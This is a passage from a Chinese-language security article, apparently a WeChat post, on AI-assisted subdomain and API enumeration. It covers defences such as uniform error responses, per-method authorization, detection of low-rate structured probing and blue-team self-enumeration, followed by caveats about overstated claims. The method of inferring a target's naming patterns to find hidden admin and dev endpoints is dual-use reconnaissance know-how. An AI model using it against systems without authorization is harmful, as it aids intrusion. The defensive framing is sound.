0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">不存在的路由返回一套正文，存在但方法不对返回另一套详细框架异常——攻击者就能在没权限的情况下判断 Controller 是否存在。外部响应尽量收敛，详细异常留在内部日志；同时保留足够的请求 ID，避免统一错误页以后反而没法排障。</span></span></p><h3 cid="n679" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">3. 鉴权必须落到每个方法和每个功能</span></span></h3><p cid="n680" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">API 网关只验证&#34;已登录&#34;不够。创建、删除、批量导出、管理员查询等动作要做功能级授权，GET、POST、PUT、DELETE 不能因为共用一条路由就共用一套宽松权限。</span></span></p><h3 cid="n681" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">4. 检测低频、同词根、结构化探测</span></span></h3><p cid="n682" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">传统阈值常盯&#34;一个 IP 每分钟打几千次&#34;。目标化候选可能只有几十次，而且故意拉开时间。更有价值的关联特征是：同一客户端围绕 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Usr_</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Adm_</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Acct_</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 轮换动作缩写；对同一 URI 依次尝试 HEAD、OPTIONS、GET 等方法；子域只替换 region、environment、cluster 数字段；NXDOMAIN 序列呈现明显的结构化组合；低频请求持续命中同一组 404/405 差异。</span></span></p><h3 cid="n683" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">5. 蓝队也可以先用同一思路打自己</span></span></h3><p cid="n684" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">把公开子域、JS 路由和 API 样本交给内部模型，看它能不能推导出未登记的 dev、stage、admin 和历史版本，再由资产团队验证。AI 辅助枚举对防守方同样适用——在攻击者之前找出那些&#34;名字很怪、但公网确实能访问&#34;的影子资产。</span></span></p><p cid="n685" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/l2ypbw.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="报告提出的后续能力" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000435" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=e4313ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F8qOq10zFicMBAjE7Bud3mLLBS70ZpTs0X1oC3WEGdoicBx7via7JqD74X9gOBagZANW0tDYFvNP73KF10wnibRHib6IUudA1IjMlfCfcInsVic4fA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><hr style="box-sizing: content-box;height: 2px;margin: 16px 0px;border: 0px;padding: 0px;background-color: rgb(231, 231, 231);overflow: hidden;"/><h2 cid="n687" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">几个容易被夸大的说法</span></span></h2><p cid="n688" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">聊到这儿顺便说清楚：</span></span></p><p cid="n689" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第一，不是&#34;AI 找到了后台&#34;。AI 生成了候选，DNS、HTTP 和权限验证才决定候选是不是资产、接口或漏洞。</span></span></p><p cid="n690" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第二，不是&#34;通用字典已死&#34;。静态字典便宜、稳定、可复现，仍然适合覆盖高频路径；AI 更适合作为目标化增量层。</span></span></p><p cid="n691" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第三，Apple 示例里的地点、产品、区域和集群含义大多是模型推断，报告没证明这些解释来自 Apple 官方命名规则。</span></span></p><p cid="n692" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第四，生成 61 条原始序列、200 个子域组合或 288 个 API 候选，不等于发现相同数量的真实资产——原始序列甚至未必都能通过格式过滤。</span></span></p><p cid="n693" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第五，2,200 万子域和 2,800 万路径不等于同等数量的唯一、存活、干净训练样本。没来源、去重和测试集隔离信息，就没法判断数据泄漏与记忆程度。</span></span></p><p cid="n694" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第六，报告没有正式基准证明 Qwen3-4B 在相同请求预算下普遍优于 SecLists、Amass、Subfinder 或 ffuf。</span></span></p><p cid="n695" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第七，本地 Enumeraite 模型目前仍是实验品，官方仓库自己定位为 Demo/testing only，输出不稳定。</span></span></p><p cid="n696" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第八，把目标完整资产、内部 URL、客户名和业务接口发给外部商业模型，可能造成数据合规和项目保密风险。敏感目标用脱敏样本或本地模型。</span></span></p><p cid="n697" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第九，HTTP 200 不等于命中，DNS 可解析也不等于归属。wildcard、CDN 默认页、soft 404 和第三方 CNAME 都会制造假阳性。</span></span></p><p cid="n698" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第十，自动尝试 PUT、POST、DELETE 可能改生产数据。授权测试也必须限定方法、速率、时间窗和回滚方案。</span></span></p><p cid="n699" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">把这些限制写清楚以后，再回头看这项研究，最值得带进护网的仍然不是某个模型的名字，而是一种新的枚举顺序：</span></span></p><p cid="n700" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf="" data-nest-level="6">以前是先准备一份全世界通用的字典，再拿目标去碰字典。现在是先观察目标，让目标自己泄露它的&#34;语言&#34;，再生成一小批只属于它的候选。</span></span></strong></span></p><hr style="box-sizing: content-box;height: 2px;margin: 16px 0px;border: 0px;padding: 0px;background-color: rgb(231, 231, 231);overflow: hidden;"/><p cid="n702" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">目录扫描器没有错。</span></span></p><p cid="n703" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">它只是不会问：为什么这个系统把 User 写成 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Usr</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，把 create 写成 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">crt</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，把 remove 写成 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">rmv</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">；为什么 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">use1</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 后面总跟着补零的 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">cx02</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">；为什么登录系统叫 login-dev 而静态站叫 about。</span></span></p><p cid="n704" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这些问题以前靠经验丰富的渗透测试人员盯着资产表手工找规律。现在模型可以把这部分观察力放大。</span></span></p><p cid="n705" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">但最后那一步仍然不能交给幻觉：域名要解析，页面要去重，接口要比响应，权限要做对照，状态变更要可回滚。</span></span></p><p cid="n706" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" 